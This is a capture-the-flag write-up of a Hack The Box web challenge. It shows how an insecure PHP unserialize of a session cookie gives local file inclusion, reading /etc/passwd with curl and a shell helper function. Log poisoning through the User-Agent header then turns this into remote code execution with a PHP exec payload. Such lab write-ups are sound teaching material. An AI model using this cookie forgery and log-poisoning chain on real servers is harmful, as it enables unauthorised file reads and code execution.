Toxic
5 minutes to read
We are given a website like this:
We are also given the server source code in PHP.
Source code analysis
This is index.php
:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
As we can see, the server encodes a page (/www/index.html
by default) in the PHPSESSID
cookie, and it is also serialized:
Let’s take a look at PageModel.php
:
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
This function takes the file
attribute and uses include
to print and execute any PHP code present in the included file. The method __destruct_
is called when the cookie is unserialized.
Local File Inclusion
As a result, the cookie can be used to read arbritrary files from the server. For example:
Notice that we need to set the length fields correctly in the serialized cookie. Now we refresh the page and we get /etc/passwd
:
Now we can switch to curl
:
$ curl 94.237.49.138:57007 -sb "PHPSESSID=$(echo -n 'O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}' | base64)"
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www:x:1000:1000:1000:/home/www:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
Just to simplify, we can wrap everything in a shell function:
$ function lfi () {
n=$(echo -n "$1" | wc -c | tr -d ' ')
c=$(echo -n "O:9:\"PageModel\":1:{s:4:\"file\";s:$n:\"$1\";}" | base64)
curl 94.237.49.138:57007 -sb "PHPSESSID=$c"
}
$ lfi /etc/hosts
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
192.168.7.91 ng-532274-webdartfrog-szp8m-69d9ddf64-ljhdw
Therefore, we have a Local File Inclusion (LFI), where we can read any file as long as we know the absolute path. Moreover, we can execute any PHP code that appears inside a file, because include
also executes PHP.
From the Dockerfile
and the entrypoint.sh
, we know that the flag
filename is renamed to flag_<random-string>
:
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
exec "$@"
The best way to avoid knowing the full name to read the file is using wildcards (i.e. flag*
). However, include
in PHP does not support this feature. Therefore, we need to achieve code execution.
Log Poisoning
There is a way to exploit the LFI to get RCE (Remote Code Execution) via Log Poisoning (the name of the challenge is a hint). The gist is to include a log file, where we control some information field. For instance, /var/log/nginx/access.log
:
$ lfi /var/log/nginx/access.log | tail
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
We know this from config/nginx.conf
:
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /var/log/nginx/access.log docker;
As can be seen, we can control the content of the User-Agent
HTTP header. Let’s tweak the lfi
function and try it:
$ function lfi () {
n=$(echo -n "$1" | wc -c | tr -d ' ')
c=$(echo -n "O:9:\"PageModel\":1:{s:4:\"file\";s:$n:\"$1\";}" | base64)
curl 94.237.49.138:57007 -sb "PHPSESSID=$c" -A "$2"
}
$ lfi /var/log/nginx/access.log asdf | tail
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
$ lfi /var/log/nginx/access.log | tail
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "asdf"
$ lfi /var/log/nginx/access.log | grep asdf
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "asdf"
Perfect. Now we can inject PHP code inside the User-Agent
header, so that it gets printed in the log. Further, we will be able to execute it with include
because of the LFI vulnerability.
Keep in mind that we must be very careful when injecting PHP code. If we have a syntax error, then the whole Log Poisoning attack won’t be possible anymore.
Let’s simply run this PHP code to read the flag:
<?php echo exec('cat /flag*'); ?>
Flag
If we use the above payload, we will see the flag in the log file:
$ lfi /var/log/nginx/access.log "<?php echo exec('cat /flag*'); ?>" | tail -1
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "asdf"
$ lfi /var/log/nginx/access.log | tail -1
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}"